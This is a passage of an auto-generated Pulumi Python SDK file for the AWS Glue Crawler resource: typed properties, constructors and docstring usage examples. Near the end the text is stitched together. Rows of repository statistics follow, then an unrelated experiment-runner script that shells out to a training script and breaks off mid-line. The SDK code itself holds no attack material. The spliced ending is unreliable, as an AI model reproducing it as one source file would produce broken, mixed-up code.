def configuration(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "configuration", value)
@property
@pulumi.getter(name="databaseName")
def database_name(self) -> Optional[pulumi.Input[str]]:
"""
The name of the Glue database to be synchronized.
"""
return pulumi.get(self, "database_name")
@database_name.setter
def database_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "database_name", value)
@property
@pulumi.getter
def description(self) -> Optional[pulumi.Input[str]]:
"""
Description of the crawler.
"""
return pulumi.get(self, "description")
@description.setter
def description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "description", value)
@property
@pulumi.getter(name="dynamodbTargets")
def dynamodb_targets(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['CrawlerDynamodbTargetArgs']]]]:
"""
List of nested DynamoDB target arguments. See Dynamodb Target below.
"""
return pulumi.get(self, "dynamodb_targets")
@dynamodb_targets.setter
def dynamodb_targets(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['CrawlerDynamodbTargetArgs']]]]):
pulumi.set(self, "dynamodb_targets", value)
@property
@pulumi.getter(name="jdbcTargets")
def jdbc_targets(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['CrawlerJdbcTargetArgs']]]]:
"""
List of nested JBDC target arguments. See JDBC Target below.
"""
return pulumi.get(self, "jdbc_targets")
@jdbc_targets.setter
def jdbc_targets(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['CrawlerJdbcTargetArgs']]]]):
pulumi.set(self, "jdbc_targets", value)
@property
@pulumi.getter(name="lineageConfiguration")
def lineage_configuration(self) -> Optional[pulumi.Input['CrawlerLineageConfigurationArgs']]:
"""
Specifies data lineage configuration settings for the crawler. See Lineage Configuration below.
"""
return pulumi.get(self, "lineage_configuration")
@lineage_configuration.setter
def lineage_configuration(self, value: Optional[pulumi.Input['CrawlerLineageConfigurationArgs']]):
pulumi.set(self, "lineage_configuration", value)
@property
@pulumi.getter(name="mongodbTargets")
def mongodb_targets(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['CrawlerMongodbTargetArgs']]]]:
"""
List nested MongoDB target arguments. See MongoDB Target below.
"""
return pulumi.get(self, "mongodb_targets")
@mongodb_targets.setter
def mongodb_targets(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['CrawlerMongodbTargetArgs']]]]):
pulumi.set(self, "mongodb_targets", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Name of the crawler.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter(name="recrawlPolicy")
def recrawl_policy(self) -> Optional[pulumi.Input['CrawlerRecrawlPolicyArgs']]:
"""
A policy that specifies whether to crawl the entire dataset again, or to crawl only folders that were added since the last crawler run.. See Recrawl Policy below.
"""
return pulumi.get(self, "recrawl_policy")
@recrawl_policy.setter
def recrawl_policy(self, value: Optional[pulumi.Input['CrawlerRecrawlPolicyArgs']]):
pulumi.set(self, "recrawl_policy", value)
@property
@pulumi.getter
def role(self) -> Optional[pulumi.Input[str]]:
"""
The IAM role friendly name (including path without leading slash), or ARN of an IAM role, used by the crawler to access other resources.
"""
return pulumi.get(self, "role")
@role.setter
def role(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "role", value)
@property
@pulumi.getter(name="s3Targets")
def s3_targets(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['CrawlerS3TargetArgs']]]]:
"""
List nested Amazon S3 target arguments. See S3 Target below.
"""
return pulumi.get(self, "s3_targets")
@s3_targets.setter
def s3_targets(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['CrawlerS3TargetArgs']]]]):
pulumi.set(self, "s3_targets", value)
@property
@pulumi.getter
def schedule(self) -> Optional[pulumi.Input[str]]:
"""
A cron expression used to specify the schedule. For more information, see [Time-Based Schedules for Jobs and Crawlers](https://docs.aws.amazon.com/glue/latest/dg/monitor-data-warehouse-schedule.html). For example, to run something every day at 12:15 UTC, you would specify: `cron(15 12 * * ? *)`.
"""
return pulumi.get(self, "schedule")
@schedule.setter
def schedule(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "schedule", value)
@property
@pulumi.getter(name="schemaChangePolicy")
def schema_change_policy(self) -> Optional[pulumi.Input['CrawlerSchemaChangePolicyArgs']]:
"""
Policy for the crawler's update and deletion behavior. See Schema Change Policy below.
"""
return pulumi.get(self, "schema_change_policy")
@schema_change_policy.setter
def schema_change_policy(self, value: Optional[pulumi.Input['CrawlerSchemaChangePolicyArgs']]):
pulumi.set(self, "schema_change_policy", value)
@property
@pulumi.getter(name="securityConfiguration")
def security_configuration(self) -> Optional[pulumi.Input[str]]:
"""
The name of Security Configuration to be used by the crawler
"""
return pulumi.get(self, "security_configuration")
@security_configuration.setter
def security_configuration(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "security_configuration", value)
@property
@pulumi.getter(name="tablePrefix")
def table_prefix(self) -> Optional[pulumi.Input[str]]:
"""
The table prefix used for catalog tables that are created.
"""
return pulumi.get(self, "table_prefix")
@table_prefix.setter
def table_prefix(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "table_prefix", value)
@property
@pulumi.getter
def tags(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
"""
Key-value map of resource tags
"""
return pulumi.get(self, "tags")
@tags.setter
def tags(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "tags", value)
class Crawler(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
catalog_targets: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['CrawlerCatalogTargetArgs']]]]] = None,
classifiers: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
configuration: Optional[pulumi.Input[str]] = None,
database_name: Optional[pulumi.Input[str]] = None,
description: Optional[pulumi.Input[str]] = None,
dynamodb_targets: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['CrawlerDynamodbTargetArgs']]]]] = None,
jdbc_targets: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['CrawlerJdbcTargetArgs']]]]] = None,
lineage_configuration: Optional[pulumi.Input[pulumi.InputType['CrawlerLineageConfigurationArgs']]] = None,
mongodb_targets: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['CrawlerMongodbTargetArgs']]]]] = None,
name: Optional[pulumi.Input[str]] = None,
recrawl_policy: Optional[pulumi.Input[pulumi.InputType['CrawlerRecrawlPolicyArgs']]] = None,
role: Optional[pulumi.Input[str]] = None,
s3_targets: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['CrawlerS3TargetArgs']]]]] = None,
schedule: Optional[pulumi.Input[str]] = None,
schema_change_policy: Optional[pulumi.Input[pulumi.InputType['CrawlerSchemaChangePolicyArgs']]] = None,
security_configuration: Optional[pulumi.Input[str]] = None,
table_prefix: Optional[pulumi.Input[str]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
__props__=None):
"""
Manages a Glue Crawler. More information can be found in the [AWS Glue Developer Guide](https://docs.aws.amazon.com/glue/latest/dg/add-crawler.html)
## Example Usage
### DynamoDB Target Example
```python
import pulumi
import pulumi_aws as aws
example = aws.glue.Crawler("example",
database_name=aws_glue_catalog_database["example"]["name"],
role=aws_iam_role["example"]["arn"],
dynamodb_targets=[aws.glue.CrawlerDynamodbTargetArgs(
path="table-name",
)])
```
### JDBC Target Example
```python
import pulumi
import pulumi_aws as aws
example = aws.glue.Crawler("example",
database_name=aws_glue_catalog_database["example"]["name"],
role=aws_iam_role["example"]["arn"],
jdbc_targets=[aws.glue.CrawlerJdbcTargetArgs(
connection_name=aws_glue_connection["example"]["name"],
path="database-name/%",
)])
```
### S3 Target Example
```python
import pulumi
import pulumi_aws as aws
example = aws.glue.Crawler("example",
database_name=aws_glue_catalog_database["example"]["name"],
role=aws_iam_role["example"]["arn"],
s3_targets=[aws.glue.CrawlerS3TargetArgs(
path=f"s3://{aws_s3_bucket['example']['bucket']}",
)])
```
### Catalog Target Example
```python
import pulumi
import pulumi_aws as aws
example = aws.glue.Crawler("example",
database_name=aws_glue_catalog_database["example"]["name"],
role=aws_iam_role["example"]["arn"],
catalog_targets=[aws.glue.CrawlerCatalogTargetArgs(
database_name=aws_glue_catalog_database["example"]["name"],
tables=[aws_glue_catalog_table["example"]["name"]],
)],
schema_change_policy=aws.glue.CrawlerSchemaChangePolicyArgs(
delete_behavior="LOG",
),
configuration=\"\"\"{
"Version":1.0,
"Grouping": {
"TableGroupingPolicy": "CombineCompatibleSchemas"
}
}
\"\"\")
```
### MongoDB Target Example
```python
import pulumi
import pulumi_aws as aws
example = aws.glue.Crawler("example",
database_name=aws_glue_catalog_database["example"]["name"],
role=aws_iam_role["example"]["arn"],
mongodb_targets=[aws.glue.CrawlerMongodbTargetArgs(
connection_name=aws_glue_connection["example"]["name"],
path="database-name/%",
)])
```
### Configuration Settings Example
```python
import pulumi
import json
import pulumi_aws as aws
events_crawler = aws.glue.Crawler("eventsCrawler",
database_name=aws_glue_catalog_database["glue_database"]["name"],
schedule="cron(0 1 * * ? *)",
role=aws_iam_role["glue_role"]["arn"],
tags=var["tags"],
configuration=json.dumps({
"Grouping": {
"TableGroupingPolicy": "CombineCompatibleSchemas",
},
"CrawlerOutput": {
"Partitions": {
"AddOrUpdateBehavior": "InheritFromTable",
},
},
"Version": 1,
}),
s3_targets=[aws.glue.CrawlerS3TargetArgs(
path=f"s3://{aws_s3_bucket['data_lake_bucket']['bucket']}",
)])
```
## Import
Glue Crawlers can be imported using `name`, e.g.
```sh
$ pulumi import aws:glue/crawler:Crawler MyJob MyJob
```
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[Sequence[pulumi.Input[str]]] classifiers: List of custom classifiers. By default, all AWS classifiers are included in a crawl, but these custom classifiers always override the default classifiers for a given classification.
:param pulumi.Input[str] configuration: JSON string of configuration information. For more details see [Setting Crawler Configuration Options](https://docs.aws.amazon.com/glue/latest/dg/crawler-configuration.html).
:param pulumi.Input[str] database_name: The name of the Glue database to be synchronized.
:param pulumi.Input[str] description: Description of the crawler.
:param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['CrawlerDynamodbTargetArgs']]]] dynamodb_targets: List of nested DynamoDB target arguments. See Dynamodb Target below.
:param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['CrawlerJdbcTargetArgs']]]] jdbc_targets: List of nested JBDC target arguments. See JDBC Target below.
:param pulumi.Input[pulumi.InputType['CrawlerLineageConfigurationArgs']] lineage_configuration: Specifies data lineage configuration settings for the crawler. See Lineage Configuration below.
:param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['CrawlerMongodbTargetArgs']]]] mongodb_targets: List nested MongoDB target arguments. See MongoDB Target below.
:param pulumi.Input[str] name: Name of the crawler.
:param pulumi.Input[pulumi.InputType['CrawlerRecrawlPolicyArgs']] recrawl_policy: A policy that specifies whether to crawl the entire dataset again, or to crawl only folders that were added since the last crawler run.. See Recrawl Policy below.
:param pulumi.Input[str] role: The IAM role friendly name (including path without leading slash), or ARN of an IAM role, used by the crawler to access other resources.
:param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['CrawlerS3TargetArgs']]]] s3_targets: List nested Amazon S3 target arguments. See S3 Target below.
:param pulumi.Input[str] schedule: A cron expression used to specify the schedule. For more information, see [Time-Based Schedules for Jobs and Crawlers](https://docs.aws.amazon.com/glue/latest/dg/monitor-data-warehouse-schedule.html). For example, to run something every day at 12:15 UTC, you would specify: `cron(15 12 * * ? *)`.
:param pulumi.Input[pulumi.InputType['CrawlerSchemaChangePolicyArgs']] schema_change_policy: Policy for the crawler's update and deletion behavior. See Schema Change Policy below.
:param pulumi.Input[str] security_configuration: The name of Security Configuration to be used by the crawler
:param pulumi.Input[str] table_prefix: The table prefix used for catalog tables that are created.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: Key-value map of resource tags
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: CrawlerArgs,
opts: Optional[pulumi.ResourceOptions] = None):
"""
Manages a Glue Crawler. More information can be found in the [AWS Glue Developer Guide](https://docs.aws.amazon.com/glue/latest/dg/add-crawler.html)
## Example Usage
### DynamoDB Target Example
```python
import pulumi
import pulumi_aws as aws
example = aws.glue.Crawler("example",
database_name=aws_glue_catalog_database["example"]["name"],
role=aws_iam_role["example"]["arn"],
dynamodb_targets=[aws.glue.CrawlerDynamodbTargetArgs(
path="table-name",
)])
```
### JDBC Target Example
```python
import pulumi
import pulumi_aws as aws
example = aws.glue.Crawler("example",
database_name=aws_glue_catalog_database["example"]["name"],
role=aws_iam_role["example"]["arn"],
jdbc_targets=[aws.glue.CrawlerJdbcTargetArgs(
connection_name=aws_glue_connection["example"]["name"],
path="database-name/%",
)])
```
### S3 Target Example
```python
import pulumi
import pulumi_aws as aws
example = aws.glue.Crawler("example",
database_name=aws_glue_catalog_database["example"]["name"],
role=aws_iam_role["example"]["arn"],
s3_targets=[aws.glue.CrawlerS3TargetArgs(
path=f"s3://{aws_s3_bucket['example']['bucket']}",
)])
```
### Catalog Target Example
```python
import pulumi
import pulumi_aws as aws
example = aws.glue.Crawler("example",
database_name=aws_glue_catalog_database["example"]["name"],
role=aws_iam_role["example"]["arn"],
catalog_targets=[aws.glue.CrawlerCatalogTargetArgs(
database_name=aws_glue_catalog_database["example"]["name"],
tables=[aws_glue_catalog_table["example"]["name"]],
)],
schema_change_policy=aws.glue.CrawlerSchemaChangePolicyArgs(
delete_behavior="LOG",
),
configuration=\"\"\"{
"Version":1.0,
"Grouping": {
"TableGroupingPolicy": "CombineCompatibleSchemas"
}
}
\"\"\")
```
### MongoDB Target Example
```python
import pulumi
import pulumi_aws as aws
example = aws.glue.Crawler("example",
database_name=aws_glue_catalog_database["example"]["name"],
role=aws_iam_role["example"]["arn"],
mongodb_targets=[aws.glue.CrawlerMongodbTargetArgs(
connection_name=aws_glue_connection["example"]["name"],
path="database-name/%",
)])
```
### Configuration Settings Example
```python
import pulumi
import json
import pulumi_aws as aws
events_crawler = aws.glue.Crawler("eventsCrawler",
database_name=aws_glue_catalog_database["glue_database"]["name"],
schedule="cron(0 1 * * ? *)",
role=aws_iam_role["glue_role"]["arn"],
tags=var["tags"],
configuration=json.dumps({
"Grouping": {
"TableGroupingPolicy": "CombineCompatibleSchemas",
},
"CrawlerOutput": {
"Partitions": {
"AddOrUpdateBehavior": "InheritFromTable",
},
},
"Version": 1,
}),
s3_targets=[aws.glue.CrawlerS3TargetArgs(
path=f"s3://{aws_s3_bucket['data_lake_bucket']['bucket']}",
)])
```
## Import
Glue Crawlers can be imported using `name`, e.g.
```sh
$ pulumi import aws:glue/crawler:Crawler MyJob MyJob
```
:param str resource_name: The name of the resource.
:param CrawlerArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(CrawlerArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
catalog_targets: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['CrawlerCatalogTargetArgs']]]]] = None,
classifiers: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
configuration: Optional[pulumi.Input[str]] = None,
database_name: Optional[pulumi.Input[str]] = None,
description: Optional[pulumi.Input[str]] = None,
dynamodb_targets: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['CrawlerDynamodbTargetArgs']]]]] = None,
jdbc_targets: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['CrawlerJdbcTargetArgs']]]]] = None,
lineage_configuration: Optional[pulumi.Input[pulumi.InputType['CrawlerLineageConfigurationArgs']]] = None,
mongodb_targets: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['CrawlerMongodbTargetArgs']]]]] = None,
name: Optional[pulumi.Input[str]] = None,
recrawl_policy: Optional[pulumi.Input[pulumi.InputType['CrawlerRecrawlPolicyArgs']]] = None,
role: Optional[pulumi.Input[str]] = None,
s3_targets: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['CrawlerS3TargetArgs']]]]] = None,
schedule: Optional[pulumi.Input[str]] = None,
schema_change_policy: Optional[pulumi.Input[pulumi.InputType['CrawlerSchemaChangePolicyArgs']]] = None,
security_configuration: Optional[pulumi.Input[str]] = None,
table_prefix: Optional[pulumi.Input[str]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = CrawlerArgs.__new__(CrawlerArgs)
__props__.__dict__["catalog_targets"] = catalog_targets
__props__.__dict__["classifiers"] = classifiers
__props__.__dict__["configuration"] = configuration
if database_name is None and not opts.urn:
raise TypeError("Missing required property 'database_name'")
__props__.__dict__["database_name"] = database_name
__props__.__dict__["description"] = description
__props__.__dict__["dynamodb_targets"] = dynamodb_targets
__props__.__dict__["jdbc_targets"] = jdbc_targets
__props__.__dict__["lineage_configuration"] = lineage_configuration
__props__.__dict__["mongodb_targets"] = mongodb_targets
__props__.__dict__["name"] = name
__props__.__dict__["recrawl_policy"] = recrawl_policy
if role is None and not opts.urn:
raise TypeError("Missing required property 'role'")
__props__.__dict__["role"] = role
__props__.__dict__["s3_targets"] = s3_targets
__props__.__dict__["schedule"] = schedule
__props__.__dict__["schema_change_policy"] = schema_change_policy
__props__.__dict__["security_configuration"] = security_configuration
__props__.__dict__["table_prefix"] = table_prefix
__props__.__dict__["tags"] = tags
__props__.__dict__["arn"] = None
super(Crawler, __self__).__init__(
'aws:glue/crawler:Crawler',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
arn: Optional[pulumi.Input[str]] = None,
catalog_targets: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['CrawlerCatalogTargetArgs']]]]] = None,
classifiers: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
configuration: Optional[pulumi.Input[str]] = None,
database_name: Optional[pulumi.Input[str]] = None,
description: Optional[pulumi.Input[str]] = None,
dynamodb_targets: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['CrawlerDynamodbTargetArgs']]]]] = None,
jdbc_targets: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['CrawlerJdbcTargetArgs']]]]] = None,
lineage_configuration: Optional[pulumi.Input[pulumi.InputType['CrawlerLineageConfigurationArgs']]] = None,
mongodb_targets: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['CrawlerMongodbTargetArgs']]]]] = None,
name: Optional[pulumi.Input[str]] = None,
recrawl_policy: Optional[pulumi.Input[pulumi.InputType['CrawlerRecrawlPolicyArgs']]] = None,
role: Optional[pulumi.Input[str]] = None,
s3_targets: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['CrawlerS3TargetArgs']]]]] = None,
schedule: Optional[pulumi.Input[str]] = None,
schema_change_policy: Optional[pulumi.Input[pulumi.InputType['CrawlerSchemaChangePolicyArgs']]] = None,
security_configuration: Optional[pulumi.Input[str]] = None,
table_prefix: Optional[pulumi.Input[str]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None) -> 'Crawler':
"""
Get an existing Crawler resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] arn: The ARN of the crawler
:param pulumi.Input[Sequence[pulumi.Input[str]]] classifiers: List of custom classifiers. By default, all AWS classifiers are included in a crawl, but these custom classifiers always override the default classifiers for a given classification.
:param pulumi.Input[str] configuration: JSON string of configuration information. For more details see [Setting Crawler Configuration Options](https://docs.aws.amazon.com/glue/latest/dg/crawler-configuration.html).
:param pulumi.Input[str] database_name: The name of the Glue database to be synchronized.
:param pulumi.Input[str] description: Description of the crawler.
:param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['CrawlerDynamodbTargetArgs']]]] dynamodb_targets: List of nested DynamoDB target arguments. See Dynamodb Target below.
:param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['CrawlerJdbcTargetArgs']]]] jdbc_targets: List of nested JBDC target arguments. See JDBC Target below.
:param pulumi.Input[pulumi.InputType['CrawlerLineageConfigurationArgs']] lineage_configuration: Specifies data lineage configuration settings for the crawler. See Lineage Configuration below.
:param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['CrawlerMongodbTargetArgs']]]] mongodb_targets: List nested MongoDB target arguments. See MongoDB Target below.
:param pulumi.Input[str] name: Name of the crawler.
:param pulumi.Input[pulumi.InputType['CrawlerRecrawlPolicyArgs']] recrawl_policy: A policy that specifies whether to crawl the entire dataset again, or to crawl only folders that were added since the last crawler run.. See Recrawl Policy below.
:param pulumi.Input[str] role: The IAM role friendly name (including path without leading slash), or ARN of an IAM role, used by the crawler to access other resources.
:param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['CrawlerS3TargetArgs']]]] s3_targets: List nested Amazon S3 target arguments. See S3 Target below.
:param pulumi.Input[str] schedule: A cron expression used to specify the schedule. For more information, see [Time-Based Schedules for Jobs and Crawlers](https://docs.aws.amazon.com/glue/latest/dg/monitor-data-warehouse-schedule.html). For example, to run something every day at 12:15 UTC, you would specify: `cron(15 12 * * ? *)`.
:param pulumi.Input[pulumi.InputType['CrawlerSchemaChangePolicyArgs']] schema_change_policy: Policy for the crawler's update and deletion behavior. See Schema Change Policy below.
:param pulumi.Input[str] security_configuration: The name of Security Configuration to be used by the crawler
:param pulumi.Input[str] table_prefix: The table prefix used for catalog tables that are created.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: Key-value map of resource tags
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _CrawlerState.__new__(_CrawlerState)
__props__.__dict__["arn"] = arn
__props__.__dict__["catalog_targets"] = catalog_targets
__props__.__dict__["classifiers"] = classifiers
__props__.__dict__["configuration"] = configuration
__props__.__dict__["database_name"] = database_name
__props__.__dict__["description"] = description
__props__.__dict__["dynamodb_targets"] = dynamodb_targets
__props__.__dict__["jdbc_targets"] = jdbc_targets
__props__.__dict__["lineage_configuration"] = lineage_configuration
__props__.__dict__["mongodb_targets"] = mongodb_targets
__props__.__dict__["name"] = name
__props__.__dict__["recrawl_policy"] = recrawl_policy
__props__.__dict__["role"] = role
__props__.__dict__["s3_targets"] = s3_targets
__props__.__dict__["schedule"] = schedule
__props__.__dict__["schema_change_policy"] = schema_change_policy
__props__.__dict__["security_configuration"] = security_configuration
__props__.__dict__["table_prefix"] = table_prefix
__props__.__dict__["tags"] = tags
return Crawler(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter
def arn(self) -> pulumi.Output[str]:
"""
The ARN of the crawler
"""
return pulumi.get(self, "arn")
@property
@pulumi.getter(name="catalogTargets")
def catalog_targets(self) -> pulumi.Output[Optional[Sequence['outputs.CrawlerCatalogTarget']]]:
return pulumi.get(self, "catalog_targets")
@property
@pulumi.getter
def classifiers(self) -> pulumi.Output[Optional[Sequence[str]]]:
"""
List of custom classifiers. By default, all AWS classifiers are included in a crawl, but these custom classifiers always override the default classifiers for a given classification.
"""
return pulumi.get(self, "classifiers")
@property
@pulumi.getter
def configuration(self) -> pulumi.Output[Optional[str]]:
"""
JSON string of configuration information. For more details see [Setting Crawler Configuration Options](https://docs.aws.amazon.com/glue/latest/dg/crawler-configuration.html).
"""
return pulumi.get(self, "configuration")
@property
@pulumi.getter(name="databaseName")
def database_name(self) -> pulumi.Output[str]:
"""
The name of the Glue database to be synchronized.
"""
return pulumi.get(self, "database_name")
@property
@pulumi.getter
def description(self) -> pulumi.Output[Optional[str]]:
"""
Description of the crawler.
"""
return pulumi.get(self, "description")
@property
@pulumi.getter(name="dynamodbTargets")
def dynamodb_targets(self) -> pulumi.Output[Optional[Sequence['outputs.CrawlerDynamodbTarget']]]:
"""
List of nested DynamoDB target arguments. See Dynamodb Target below.
"""
return pulumi.get(self, "dynamodb_targets")
@property
@pulumi.getter(name="jdbcTargets")
def jdbc_targets(self) -> pulumi.Output[Optional[Sequence['outputs.CrawlerJdbcTarget']]]:
"""
List of nested JBDC target arguments. See JDBC Target below.
"""
return pulumi.get(self, "jdbc_targets")
@property
@pulumi.getter(name="lineageConfiguration")
def lineage_configuration(self) -> pulumi.Output[Optional['outputs.CrawlerLineageConfiguration']]:
"""
Specifies data lineage configuration settings for the crawler. See Lineage Configuration below.
"""
return pulumi.get(self, "lineage_configuration")
@property
@pulumi.getter(name="mongodbTargets")
def mongodb_targets(self) -> pulumi.Output[Optional[Sequence['outputs.CrawlerMongodbTarget']]]:
"""
List nested MongoDB target arguments. See MongoDB Target below.
"""
return pulumi.get(self, "mongodb_targets")
@property
@pulumi.getter
def name(self) -> pulumi.Output[str]:
"""
Name of the crawler.
"""
return pulumi.get(self, "name")
@property
@pulumi.getter(name="recrawlPolicy")
def recrawl_policy(self) -> pulumi.Output[Optional['outputs.CrawlerRecrawlPolicy']]:
"""
A policy that specifies whether to crawl the entire dataset again, or to crawl only folders that were added since the last crawler run.. See Recrawl Policy below.
"""
return pulumi.get(self, "recrawl_policy")
@property
@pulumi.getter
def role(self) -> pulumi.Output[str]:
"""
The IAM role friendly name (including path without leading slash), or ARN of an IAM role, used by the crawler to access other resources.
"""
return pulumi.get(self, "role")
@property
@pulumi.getter(name="s3Targets")
def s3_targets(self) -> pulumi.Output[Optional[Sequence['outputs.CrawlerS3Target']]]:
"""
List nested Amazon S3 target arguments. See S3 Target below.
"""
return pulumi.get(self, "s3_targets")
@property
@pulumi.getter
def schedule(self) -> pulumi.Output[Optional[str]]:
"""
A cron expression used to specify the schedule. For more information, see [Time-Based Schedules for Jobs and Crawlers](https://docs.aws.amazon.com/glue/latest/dg/monitor-data-warehouse-schedule.html). For example, to run something every day at 12:15 UTC, you would specify: `cron(15 12 * * ? *)`.
"""
return pulumi.get(self, "schedule")
@property
@pulumi.getter(name="schemaChangePolicy")
def schema_change_policy(self) -> pulumi.Output[Optional['outputs.CrawlerSchemaChangePolicy']]:
"""
Policy for the crawler's update and deletion behavior. See Schema Change Policy below.
"""
return pulumi.get(self, "schema_change_policy")
@property
@pulumi.getter(name="securityConfiguration")
def security_configuration(self) -> pulumi.Output[Optional[str]]:
"""
The name of Security Configuration to be used by the crawler
"""
return pulumi.get(self, "security_configuration")
@property
@pulumi.getter(name="tablePrefix")
def table_prefix(self) -> pulumi.Output[Optional[str]]:
"""
The table prefix used for catalog tables that are created.
"""
return pulumi.get(self, "table_prefix")
@property
@pulumi.getter
def tags(self) -> pulumi.Output[Optional[Mapping[str, str]]]:
"""
Key-value map of resource tags
"""
return pulumi.get(self, "tags")
| 49.712375
| 339
| 0.663264
| 6,579
| 59,456
| 5.824897
| 0.043928
| 0.093863
| 0.079328
| 0.048275
| 0.952377
| 0.945123
| 0.93051
| 0.919837
| 0.918298
| 0.902067
| 0
| 0.003198
| 0.226907
| 59,456
| 1,195
| 340
| 49.753975
| 0.830523
| 0.386218
| 0
| 0.858333
| 1
| 0
| 0.145716
| 0.070003
| 0
| 0
| 0
| 0
| 0
| 1
| 0.166667
| false
| 0.001667
| 0.011667
| 0.005
| 0.278333
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
f7c90e4901fee3dcaf03309b76c19743264106fe
| 717
|
py
|
Python
|
Experiments/STMeta/Runner_M1_0.py
|
nj-czy/UCTB
|
bddb8b47953bef1f44cb06f1a57a3d7efbd31c3a
|
[
"MIT"
] | 28
|
2020-02-28T03:16:43.000Z
|
2022-03-31T07:24:47.000Z
|
Experiments/STMeta/Runner_M1_0.py
|
nj-czy/UCTB
|
bddb8b47953bef1f44cb06f1a57a3d7efbd31c3a
|
[
"MIT"
] | 8
|
2020-06-30T09:34:56.000Z
|
2022-01-17T12:20:28.000Z
|
Experiments/STMeta/Runner_M1_0.py
|
nj-czy/UCTB
|
bddb8b47953bef1f44cb06f1a57a3d7efbd31c3a
|
[
"MIT"
] | 13
|
2020-06-04T09:47:36.000Z
|
2022-02-25T09:50:52.000Z
|
import os
############################################################################################################
# Enrich gcn_k
############################################################################################################
os.system('python STMeta_Obj.py -m STMeta_v1.model.yml -d bike_nyc.data.yml -p '
'gcn_k:2,gcn_layers:1,gclstm_layers:1,batch_size:64,mark:BM211')
os.system('python STMeta_Obj.py -m STMeta_v1.model.yml -d bike_chicago.data.yml -p '
'gcn_k:2,gcn_layers:1,gclstm_layers:1,batch_size:64,mark:BM211')
os.system('python STMeta_Obj.py -m STMeta_v1.model.yml -d bike_dc.data.yml -p '
